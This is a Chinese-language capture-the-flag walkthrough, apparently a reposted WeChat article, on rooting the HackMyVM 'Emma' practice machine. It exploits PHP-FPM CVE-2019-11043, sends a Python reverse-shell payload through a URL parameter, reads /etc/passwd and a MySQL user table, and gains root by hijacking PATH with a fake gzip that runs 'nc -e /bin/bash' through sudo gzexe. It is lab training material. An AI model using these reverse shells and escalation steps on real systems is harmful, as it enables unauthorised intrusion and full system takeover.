靶机信息
下载地址:
https://hackmyvm.eu/machines/machine.php?vm=Emma
网盘链接:https://pan.baidu.com/s/1OjMwuU6F1V98x2UnLz-eHA?pwd=xcvx
靶场: HackMyVm.eu
靶机名称: Emma
难度: 困难
发布时间: 2021年2月4日
提示信息:
无
目标: user.txt和root.txt
实验环境
攻击机:VMware kali 10.0.0.3 eth0桥接互联网,eth1桥接vbox-Host-Only
靶机:Vbox linux IP自动获取 网卡host-Only
信息收集
扫描主机
扫描局域网内的靶机IP地址
fping -ag 10.0.0.0/24 2>/dev/null
扫描到主机地址为10.0.0.165
扫描端口
扫描靶机开放的服务端口
sudo nmap -sC -sV -p- 10.0.0.165 -oN nmap.log
扫描到22、80端口开放,先来看看80端口
Web渗透
访问后发现是个空白页面,来做个目录扫描
dirsearch -u http://10.0.0.165
扫描到多个目录,先来看看robots.txt
curl http://10.0.0.165/robots.txt
得到一段字符串,猜测是密码,再来看看phpinfo.php
http://10.0.0.165/phpinfo.php
知道版本号,来找找是否存在漏洞
CVE-2019-11043
通过搜索引擎发现漏洞为CVE-2019-11043
再到github上找exp,选个星最多的,拿到exp就来验证漏洞
git clone https://github.com/neex/phuip-fpizdam.git
exp需要安装go环境,如果你没有直接sudo apt install golang-go安装一个
运行exp要先配置国内代理否则无法下载模块。
export GOPROXY=https://goproxy.io,direct
go get -v
go build
执行exp
./phuip-fpizdam http://10.0.0.165/index.php
执行成功,按提示来验证
http://10.0.0.165/index.php?a=id
命令执行成功,反弹个shell到攻击机上
1。攻击机监听4444端口
nc -nlvp 4444
2。浏览器中执行反弹payload
http://10.0.0.165/index.php?a=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.3",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
反弹成功,切换到交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+z快捷键
stty raw -echo;fg
reset
切换成功,来找找敏感信息
cat /etc/passwd
发现emma用户,还有一个mysql服务的账号,刚刚我们拿到了一组密码,猜测是这两个账号其中的一个密码,验证一下
ssh [email protected]
登录失败再来试试mysql
mysql -uroot -pitwasonlyakiss
经过几次测试找到正确的账号并登录到mysql中,来找找敏感信息
show databases;
发现名为users的库名,来看看表名
use users;
show tables;
发现表名也是users,再来看看内容
select * from users;
发现emma密码的md5值 ,找个在线网站解一下
https://cmd5.com/
拿到密码,登录SSH验证密码
ssh [email protected]
登录失败,
经过多次尝试,密码为解码前的字符串(就是不需要解码)。登录成功,来找找敏感信息
ls
cat user.txt
拿到user.txt,目录下还发现who和他的源码,来看看
ls -al who
cat who.c
发现who文件有s权限,源码中未发现如何利用,继续找
sudo -l
发现可以用root身份执行gzexe,来看看gzexe如何利用
gzexe --help
看帮助文件,gzexe程序会将原文件压缩并备份为同文件名加上~,再用man命令看看
man gzexe
提示说会依据环境变量来查找gzip程序。
思路:劫持环境变量伪造gzip,再利用gzexe压缩/bin/id命令让who程序无法调用/bin/id,最后执行who命令让他去调用我们伪造的gzip来达到反弹shell目地。
1。伪造gzip并支持环境变量
cd /tmp
echo 'nc 10.0.0.3 3333 -e /bin/bash' >gzip
chmod +x gzip
export PATH=/tmp:$PATH
2。攻击机监听3333端口
nc -nlvp 3333
3。压缩/bin/id
sudo -u root gzexe /bin/id
4。执行who
./who
反弹成功拿到root权限,来找一下flag
拿到root.txt,游戏结束。
原文始发于微信公众号(伏波路上学安全):渗透测试靶机练习No.91 Emma
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论